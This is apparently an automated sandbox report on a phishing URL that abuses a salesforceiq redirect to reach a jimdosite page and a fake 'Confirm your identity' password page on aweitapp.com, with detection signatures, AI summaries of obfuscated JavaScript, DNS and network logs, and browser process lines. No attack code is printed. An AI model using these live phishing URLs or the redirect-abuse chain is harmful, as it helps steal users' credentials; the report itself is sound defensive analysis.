Edit tour

Windows Analysis Report
https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com

Overview

General Information

Sample URL:	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoe
Analysis ID:	1580347

Detection

HTMLPhisher

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish29

AI detected suspicious Javascript

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Invalid 'forgot password' link found

Invalid T&C link found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6832 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1864,i,9497331665577131981,9893332119093896269,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6688 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.2.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish29

Source: Yara match

File source: 1.2.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://monaghans.jimdosite.com/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as a challenge-response mechanism, the overall behavior is highly suspicious and indicative of malicious intent.
Source: 0.14.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://aweitapp.com/zeng/advance/auth/?cf-turnsti... This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. The use of `eval`, `Function` constructor, and heavily encoded strings indicates a high likelihood of malicious intent. Additionally, the script appears to be attempting to redirect the user to an unknown or suspicious domain, which further increases the risk. Overall, this script demonstrates a clear pattern of malicious activity and should be treated as a high-risk threat.

Source: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify

HTTP Parser: Number of links: 0

HTTP Parser: <input type="password" .../> found but no <form action="...

HTTP Parser: Total embedded image size: 30653

Source: https://monaghans.jimdosite.com/

HTTP Parser: Base64 decoded: 1735034861.000000

HTTP Parser: Title: Confirm your identity does not match URL

HTTP Parser: Invalid link: Forgot password?

Source: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify	HTTP Parser: Invalid link: Terms of use
Source: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify	HTTP Parser: Invalid link: Privacy & cookies
Source: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify	HTTP Parser: Invalid link: Terms of use
Source: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify	HTTP Parser: Invalid link: Privacy & cookies

HTTP Parser: <input type="password" .../> found

Source: https://aweitapp.com/zeng/advance/auth/?cf-turnstile-response=0.QXqZAlA8fMRQJ_zR13dsc79idJdrl0KyXG2y6KH29qhPs7HdLDdzzysKTOERvvRdzbcgJCTbSeyX1l35dX4nLEj5u6yFVuRWpCy3i6JObV4BIWyilQ2hXjfIpZP8Vmb64IpK9Rb_eyaE5gQQsxCt_3ji8grKdpFtVXL--6-PCE5aEsWLaURgy-1hfqxYhKp3e8KYaAxkAg0plynzvhehp6LnVEPRHfjuiSarrO8lDUWjz_8JJag__O5DmqalhWadMA_R-3VwQkV6DPifhRD3fGxST0fgQrY20wjs7gOWKXS_0F9PGfE0cMxA0AX4OIYGvl6LvORq03auMxIFAokF9Z6TQ6Fcj_2P5foejUESKCWykXxUqMDmlMwbY0vtFcqo24cv85FwkfflBWCntJGbYyCZLiXSts1ZePVhkAc3JXL9ENEJ3aHk3POtq5qxwtMFWQ7624n8Pgi9LO59g05_ijBExCa8P_uueDkwtt7gGWJhM4ioJosALnTolH1fRlxvWoJtQK0g8yb5pJaiOCjzDD8WE9HRnldp5NyYdHDSOSkoAy1pstPzHG365gUQoDCwpGT4_p_rWzrXJx307UmM3khZpsJTZFnLnlUQAiaewx724tJLQ2eUuA7OjmhCSdosf8mSynuyrdH3jGQ1coCfACnNJZ_PT2gVuh8AGOMzOdvoX1JLCxUgcR3Q7aTD3kedjZGvN096X8wymkci1-9Hs0CsX_3JuftDwp_MFTOO7sU.yplelQlcy72bCcgVXpaRwQ.3f1a7efda6821d137df3f971249af42fc42a7f7a97330dc60e79c8d571e62fd3&cf-turnstile-response=0.QXqZAlA8fMRQJ_zR13dsc79idJdrl0KyXG2y6KH29qhPs7HdLDdzzysKTOERvvRdzbcgJCTbSeyX1l35dX4nLEj5u6yFVuRWpCy3...

HTTP Parser: No favicon

Source: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify	HTTP Parser: No <meta name="author".. found
Source: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify	HTTP Parser: No <meta name="author".. found

Source: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify	HTTP Parser: No <meta name="copyright".. found
Source: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.30.59:443 -> 192.168.2.16:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.75:443 -> 192.168.2.16:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.30.59:443 -> 192.168.2.16:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.88:443 -> 192.168.2.16:49809 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.15
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.15
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.15
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.15
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.15
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.15
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200

Source: global traffic	DNS traffic detected: DNS query: app.salesforceiq.com
Source: global traffic	DNS traffic detected: DNS query: monaghans.jimdosite.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: jimdo-dolphin-static-assets-prod.freetls.fastly.net
Source: global traffic	DNS traffic detected: DNS query: fonts.jimstatic.com
Source: global traffic	DNS traffic detected: DNS query: jimdo-storage.freetls.fastly.net
Source: global traffic	DNS traffic detected: DNS query: aweitapp.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: at.prod.jimdo.systems
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.30.59:443 -> 192.168.2.16:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.75:443 -> 192.168.2.16:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.30.59:443 -> 192.168.2.16:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.88:443 -> 192.168.2.16:49809 version: TLS 1.2

Source: classification engine

Classification label: mal52.phis.win@21/34@38/237

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1864,i,9497331665577131981,9893332119093896269,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1864,i,9497331665577131981,9893332119093896269,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

